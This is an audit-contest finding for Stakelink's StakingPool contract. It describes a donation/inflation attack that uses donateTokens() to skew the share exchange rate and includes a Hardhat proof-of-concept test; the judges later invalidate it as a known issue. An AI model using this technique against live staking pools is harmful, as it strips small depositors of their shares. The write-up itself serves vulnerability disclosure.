Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Invalid

The `StakingPool::DEAD_SHARES` mechanism is insufficient to fully prevent inflation attacks, causing the exchange rate to significantly deviate from the expected `1:1` ratio.

Summary

The StakingPool::DEAD_SHARES mechanism is insufficient to fully prevent inflation attacks, causing the exchange rate to significantly deviate from the expected 1:1 ratio.

Vulnerability Details

Within the StakingPool contract, the totalStaked value can be manipulated through two methods, both of which lack permission restrictions:

// StakingPool::donateTokens()
function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
// StakingPool::burn()
function burn(uint256 _amount) external {
_burn(msg.sender, _amount);
emit Burn(msg.sender, _amount);
}

Combined with the following _mintShares() casting logic, we can imagine a situation where the contract is deployed. A malicious user preempts the transaction and pledges 300 tokens, and then immediately calls donateTokens() to donate 1 ether to the contract. At this time, the exchange rate will deviate significantly from the 1:1 preset in the document. When subsequent users perform small pledges, they will not be able to obtain share.

uint256 private constant DEAD_SHARES = 10 ** 3;
function _mintShares(address _recipient, uint256 _amount) internal {
require(_recipient != address(0), "Mint to the zero address");
if (totalShares == 0) {
shares[address(0)] = DEAD_SHARES;
totalShares = DEAD_SHARES;
_amount -= DEAD_SHARES;
}
totalShares += _amount;
shares[_recipient] += _amount;
}

Poc

The following code can be added to test/core/staking-pool.test.ts. Running the test will demonstrate the significant deviation in the exchange rate:

it('inflation attack Poc', async () => {
const { adrs, stakingPool, token, strategy1, stake } = await loadFixture(deployFixture)
const { signers, accounts } = await getAccounts();
// stake 300
await token.connect(signers[1]).transfer(accounts[0], 301)
await stakingPool.deposit(accounts[1], 300, ['0x', '0x', '0x'])
await stakingPool.donateTokens(toEther(1))
assert.equal(
fromEther(await stakingPool.getSharesByStake(toEther(1))),
1.299e-15,
'getSharesByStake incorrect'
)
})
// ✔ inflation attack Poc

Code Snippet

Impact

The StakingPool::DEAD_SHARES mechanism is insufficient to fully prevent inflation attacks, causing the exchange rate to significantly deviate from the expected 1:1 ratio.users with small deposits will not be able to obtain shares

Tools Used

Manual Review

Recommendations

it is recommended to implement permission controls for the donateTokens() and burn() functions, preventing unauthorized manipulation of the totalStaked value.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Appeal created

inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Donation Attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.